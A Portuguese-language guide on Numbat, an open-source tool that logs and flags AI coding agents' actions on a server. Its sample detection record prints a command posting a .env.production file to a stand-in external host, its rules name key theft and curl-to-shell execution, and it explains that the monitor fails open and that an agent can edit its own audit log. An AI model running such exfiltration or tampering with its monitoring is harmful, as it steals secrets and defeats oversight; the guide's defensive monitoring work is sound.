SSD Nodes Learn Hosting plans →
Guias Matt ConnorPor Matt Connor · Atualizado 2026-10-23

Como monitorar comandos de agentes de IA com o Numbat

O Numbat normaliza logs de agentes de IA para detectar acessos indevidos a chaves SSH ou execuções suspeitas. Entenda como auditar o que seu agente faz no servidor.

O que é o Numbat

O Numbat permite saber o que um agente de IA fez numa máquina que lhe pertence. Lê os callbacks dos hooks e os ficheiros de sessão que os agentes de programação já produzem, normaliza-os num único formato de eventos e compara-os com regras que são acionadas por comportamentos como ler uma chave privada SSH ou encaminhar diretamente um download para uma shell. A Perplexity lançou-o como software open source sob a licença Apache 2.0, com o primeiro release marcado em 29 July 2026.

Tudo o que se segue vem do repositório do projeto e da respetiva documentação, consultados em 2 August 2026. O histórico de releases, os requisitos de instalação, o esquema dos registos e a cobertura de agentes foram novamente verificados no repositório em 12 October 2026. Quando a Perplexity faz uma afirmação, este texto indica-o. Este não é um tutorial de instalação, porque o repositório ainda é recente e os respetivos comandos vão mudar.

O problema: ninguém regista o que o agente fez

Um agente de programação no seu VPS executa comandos de shell, lê ficheiros, escreve ficheiros e abre ligações de rede, tudo com o utilizador que lhe atribuiu. O histórico da shell não regista nada disso, porque o agente não está a escrever na sua shell. sshd regista o seu início de sessão e nada do que o modelo decide fazer depois. /var/log/auth.log permanece silencioso, exceto quando algo tenta aceder a sudo. O agente mantém a sua própria transcrição, mas esse ficheiro fica no diretório de sessão do agente, o seu formato muda entre releases e o próprio processo do agente pode escrever nele.

Por isso, quando alguém pergunta se o agente leu .env.production na terça-feira passada, a resposta honesta na maioria dos servidores é que não é possível determinar. Essa lacuna é a razão da existência deste projeto.

O que o Perplexity afirma que o Numbat faz

O README começa por descrever a ferramenta como "visibilidade do endpoint sobre a atividade de agentes de IA, com deteção local, bloqueio opcional antes da ação e reconstrução forense". Aqui, endpoint significa a máquina onde o agente é executado, e não um dispositivo de rede que observa a atividade externamente. Estas são capacidades distintas e têm pesos diferentes.

A deteção é executada no dispositivo. As regras são escritas em CEL (common expression language) e avaliadas localmente. Também é possível definir regras de sequência com várias etapas e usar as suas próprias regras em YAML. A máquina não precisa de enviar dados para que uma regra seja acionada.

O bloqueio é opcional e limitado. Funciona apenas através de hooks síncronos anteriores à ação, nos agentes que expõem essa capacidade. Fica desativado até ser ativado explicitamente.

A reconstrução ocorre posteriormente. numbat scan analisa artefactos de sessão que um agente já tenha escrito no disco. Assim, é possível consultar atividade anterior à instalação da ferramenta. O projeto delimita cuidadosamente essa afirmação: "A reconstrução de dados em repouso não é aquisição de disco nem de memória e não pode recuperar atividade que o agente não tenha persistido."

A saída usa NDJSON versionado (JSON delimitado por quebras de linha) para eventos, descobertas, decisões de aplicação de políticas, indicadores e resumos de análises, com a versão de schema 0.2.0 em v0.1.2. O schema mudou desde então: em 12 October 2026, o repositório continha as versões de schema 0.2.0, 0.3.0 e 0.4.0, e os exemplos de registos do README mostravam 0.4.0. Os registos são enviados para stdout ou para um ficheiro local e, opcionalmente, por HTTP para um collector que executar. A ferramenta é distribuída como um único binário estático Go, compilado sem cgo, para macOS, Linux e Windows em amd64 e arm64. Num VPS Linux, isso significa ter um único ficheiro, sem necessidade de instalar primeiro um runtime.

Que agentes o Numbat consegue realmente ver?

A matriz de cobertura em docs/agent-coverage.md é a lista de referência, e a cobertura é desigual. O projeto afirma isso claramente, em vez de ocultar a limitação. Claude Code, Codex, Gemini CLI, Cursor e GitHub Copilot CLI têm análise de artefactos e captura em tempo real com um hook pré-ação. O OpenClaw recebe um plugin nativo a partir da versão 2026.7.1. Muitas entradas estão marcadas como adiadas. Isso significa que existe um caminho de hook em tempo real, mas não existe um analisador de artefactos. Isto acontece frequentemente porque o agente armazena o histórico numa base de dados SQLite com um write-ahead log que não é seguro ler enquanto o agente está em execução. O Cline CLI pertence a esse grupo: os seus hooks em tempo real funcionam, mas as sessões SQLite não são analisadas. O OpenCode é um caso dividido. A matriz v0.1.2 analisa os seus armazenamentos JSON anteriores e adia apenas a base de dados atual opencode.db. A matriz não indica qualquer aplicação de pré-ação para o OpenCode, e a matriz no branch main continuava a indicar isso em 12 October 2026.

Consulte a linha correspondente ao seu agente antes de planear qualquer implementação com esta ferramenta, porque “suportado” significa algo diferente em quase todas as linhas.

Como é uma deteção

As regras têm ids que indicam a sua finalidade. secrets.read_private_key deteta uma chave SSH, credenciais da AWS, uma configuração do kube ou um início de sessão num registo de pacotes. exec.download_pipe_shell é acionada quando o resultado de curl ou wget é encaminhado para um interpretador. privilege.elevated_shell deteta um pedido de uma shell interativa de root através de sudo, doas, su ou pkexec. impact.cryptomining_launch corresponde a binários e nomes de imagens de mineradores conhecidos.

As regras de sequência associam eventos dentro da mesma sessão. chain.secret_read_then_egress requer a leitura de um ficheiro secreto seguida de um comando que envia dados para o exterior. O README apresenta a deteção abaixo, obtida a partir da repetição controlada de dois callbacks de pré-ação do Claude Code, e não de um incidente real. Foi reduzida aqui aos campos relevantes:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Repare em "confidence": "medium" dentro do registo e no que o projeto afirma sobre toda esta classe de resultados: "As deteções são correspondências de regras, não uma prova de comprometimento." Um script de deploy que lê uma chave e depois carrega um artefacto de build corresponderá à mesma regra de sequência. A correspondência está correta, mas o alarme está errado. Esse é o estado normal de todas as ferramentas de deteção que alguma vez executou.

O bloqueio está desativado por predefinição e o sistema falha em modo permissivo

Todas as regras que o Numbat lança funcionam apenas em modo de monitorização. Transformar uma regra em bloqueio exige uma alteração deliberada: copie o YAML completo da regra para o seu próprio diretório, mantenha o mesmo id, adicione enforce: true, incremente a versão e, em seguida, valide e instale essa política.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Agora, a parte que determina até que ponto deve confiar nele. O deny do Numbat é uma resposta devolvida ao agente, e é o agente que efetivamente recusa a chamada da ferramenta. O guia de aplicação é direto quanto ao que acontece quando o próprio Numbat tem um problema: "Payloads malformados, erros de avaliação relevantes, panics e falhas de saída suprimem o deny do numbat." A entrada do hook está limitada a 4 MiB, e uma entrada demasiado grande segue o mesmo caminho.

O guia também é direto quanto ao limite de um deny que seja efetivamente aplicado: "Falhar em modo permissivo significa que o numbat não envia a sua resposta deny. Isto não garante que a ferramenta seja executada: o host ainda pode pedir confirmação, recusar, exceder o tempo limite ou aplicar outro hook ou política."

Por isso, a aplicação de políticas aqui funciona como uma proteção adicional, não como uma fronteira de segurança. Se o processo falhar, a ação não é bloqueada pelo Numbat, porque um monitor que bloqueasse o seu agente sempre que tivesse um problema seria desinstalado numa semana. O compromisso é razoável. Mas não crie um modelo de segurança que presuma que o deny chega sempre.

Onde o Numbat se enquadra junto do que já utiliza

O Numbat é executado no endpoint, dentro da própria árvore de processos do agente, e escreve em ~/.numbat/records.ndjson por predefinição. Um agente executado com o seu utilizador pode ler esse ficheiro. Também o pode editar. A pista de auditoria só vale tanto quanto o isolamento que a protege. Por isso, todos os controlos que já utiliza devem ficar à frente deste, e não atrás dele.

Dar ao agente de programação uma VM descartável limita aquilo a que uma execução maliciosa pode chegar. Utilizar um utilizador com privilégios mínimos no VPS impede o agente de aceder a ficheiros que não tem motivos para abrir. Manter as credenciais fora do contexto do agente é o que torna uma correspondência secrets.read_private_key suficientemente rara para justificar a consulta quando ocorre. E a sandbox que configurou para o Claude Code num VPS continua a ser o mecanismo que garante o isolamento. O isolamento limita aquilo em que uma execução maliciosa pode tocar, enquanto registar por que motivo o código tem aquela estrutura reduz a frequência com que o agente faz algo inesperado ao ponto de o levar a consultar o log.

O Numbat acrescenta o registo. Por isso, envie o registo para um local a que o agente não consiga aceder. numbat ship e o sink HTTP existem para isso. Uma cópia do fluxo num segundo computador é o que distingue um ficheiro de log de uma evidência. O modelo de eventos também transporta campos MCP (model context protocol). Assim, as chamadas de ferramentas que saem através de um servidor MCP alojado por si num VPS ficam no mesmo fluxo que os comandos shell locais. Isto é importante porque esse caminho fica invisível para qualquer mecanismo que monitorize apenas bash. O mesmo ponto cego abrange uma instância SearXNG configurada como backend de pesquisa do agente, onde o risco surge como texto não confiável de páginas enviado para o contexto do modelo, e não como um comando que alguma regra possa corresponder.

Teste primeiro em modo somente leitura

Instale uma versão fixada. O comando abaixo fixa a v0.1.2, cujo README requer Go 1.26.5 ou mais recente. Em 12 October 2026, o README no branch main requeria Go 1.26.6 ou mais recente. Essa alteração chegou com a v0.2.0. Portanto, use 1.26.6 se fixar uma tag mais recente. A página de releases disponibiliza binários pré-compilados com checksums SHA-256, caso prefira não compilar a partir do código-fonte.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents descobre os agents instalados no sistema. numbat scan analisa os artefactos de sessão já existentes no disco e apresenta registos. O README afirma que estes comandos "não instalam hooks nem alteram a configuração dos agents" e que o numbat "nunca executa agents ou comandos encontrados nos artefactos e só faz pedidos de saída para HTTP sinks configurados". A análise é somente de leitura e oculta secrets. A saída normal dos registos nunca inclui uma transcrição bruta completa.

A captura em tempo real é o passo seguinte e altera a configuração dos agents:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all grava events, findings, indicators e enforcement decisions aplicáveis em ~/.numbat/records.ndjson. Há duas precauções indicadas diretamente pelo projeto. Pode ser necessário confiar nos hooks dentro do agent antes de estes serem executados. Essa confiança deve ser revista novamente depois de alterar flags como --enforce. Além disso, hook status "verifica a configuração, não a execução nem a entrega". Portanto, uma linha de estado saudável não prova que os registos estejam a chegar a algum destino.

Por que um repositório tão recente não é uma dependência

Em 12 October 2026, os releases públicos eram v0.1.1, de 29 July 2026, v0.1.2, de 1 August 2026, e v0.2.0, de 17 August 2026, marcado como o mais recente na página de releases. O repositório tinha 597 estrelas quando este texto foi escrito, em 2 August 2026. Números que crescem tão depressa refletem o público da Perplexity, não a estabilidade do código. Uma estrela significa que alguém guardou a página para a consultar mais tarde.

O número da versão indica claramente o estado do projeto. As notas de v0.1.2 são sobretudo correções na remoção de credenciais, além de trabalho de normalização de bundles de casos e de telemetria. As notas de v0.2.0 acrescentam a captura limitada do conteúdo das mensagens, a aplicação de regras de leitura de ficheiros do Cursor através do seu hook beforeReadFile e mais correções na remoção de dados. Bugs de remoção de dados são o tipo esperado de defeito inicial numa ferramenta cuja função é ler com segurança as transcrições de outros programas. Haverá mais bugs, porque as entradas vêm de uma dúzia de agentes, e cada um altera o seu formato no seu próprio calendário.

Daqui resultam duas regras práticas. Fixe a tag, nunca @latest, em tudo o que pretende manter. Trate a ferramenta como um instrumento em avaliação, e não como um controlo do qual depende, pelo menos até o schema dos registos deixar de mudar. Isso ainda não aconteceu: passou de 0.2.0 em v0.1.2 para 0.4.0 no README de main em cerca de dez semanas.

FAQ

O Numbat bloqueia comandos perigosos de agentes de IA?

Apenas se optar por isso e apenas com base no melhor esforço. Todas as regras fornecidas pelo Numbat estão configuradas apenas para monitorização. Para bloquear, copie o YAML da regra para o seu próprio diretório, mantenha o respetivo id, adicione enforce: true, incremente a versão e instale o hook com --enforce. Mesmo assim, a negação é uma resposta devolvida ao agente, e é o agente que recusa a chamada. O projeto documenta um comportamento fail-open: payloads malformados, erros de avaliação, panics e falhas de saída suprimem a negação. Use-o como uma salvaguarda, não como a sua única barreira.

Que agentes de IA são suportados pelo Numbat?

A cobertura varia consoante o agente e está listada em docs/agent-coverage.md no repositório. Claude Code, Codex, Gemini CLI, Cursor e GitHub Copilot CLI tinham tanto análise de artefactos como captura em tempo real quando essa página foi consultada, em 2 August 2026, e o OpenClaw tem um plugin nativo desde a versão 2026.7.1. Muitos outros agentes aparecem listados com um caminho para hook em tempo real, mas ainda sem parser de artefactos. Normalmente, isto acontece porque o histórico da sessão está numa base de dados SQLite que não é segura para leitura enquanto o agente está em execução. Leia a linha correspondente ao seu agente, porque a palavra "suportado" abrange vários níveis diferentes nessa lista.

O agente pode adulterar os registos do Numbat?

Sim, se for executado com o mesmo utilizador. Por predefinição, os registos são gravados em ~/.numbat/records.ndjson na mesma máquina que o agente. Por isso, qualquer processo com acesso de escrita a esse caminho pode alterá-los ou eliminá-los. Envie o stream para um coletor ao qual o agente não consiga aceder, usando numbat ship ou o sink HTTP, e mantenha o ficheiro local como cópia de conveniência. É também por isso que a ferramenta complementa o isolamento, em vez de o substituir. Um agente confinado a uma VM descartável e executado com um utilizador com privilégios mínimos tem muito menos alcance sobre o seu próprio registo de auditoria.

O Numbat está pronto para um servidor de produção?

Não como um controlo do qual dependa. A primeira versão pública foi a v0.1.1, em 29 July 2026; a v0.1.2 foi lançada em 1 August 2026 e a v0.2.0 em 17 August 2026. Em 12 October 2026, o esquema de registos no README já tinha chegado à versão 0.4.0. Por isso, tanto as flags como o esquema de registos continuam a mudar. Executar numbat agents e numbat scan num servidor é uma operação só de leitura e de baixo risco. Isto permite ver o que os seus agentes têm deixado no disco. Instalar hooks de enforcement num servidor importante é uma decisão diferente. Essa decisão exige uma tag fixada e um plano para o caso de o hook apresentar um comportamento incorreto.

Este artigo foi útil?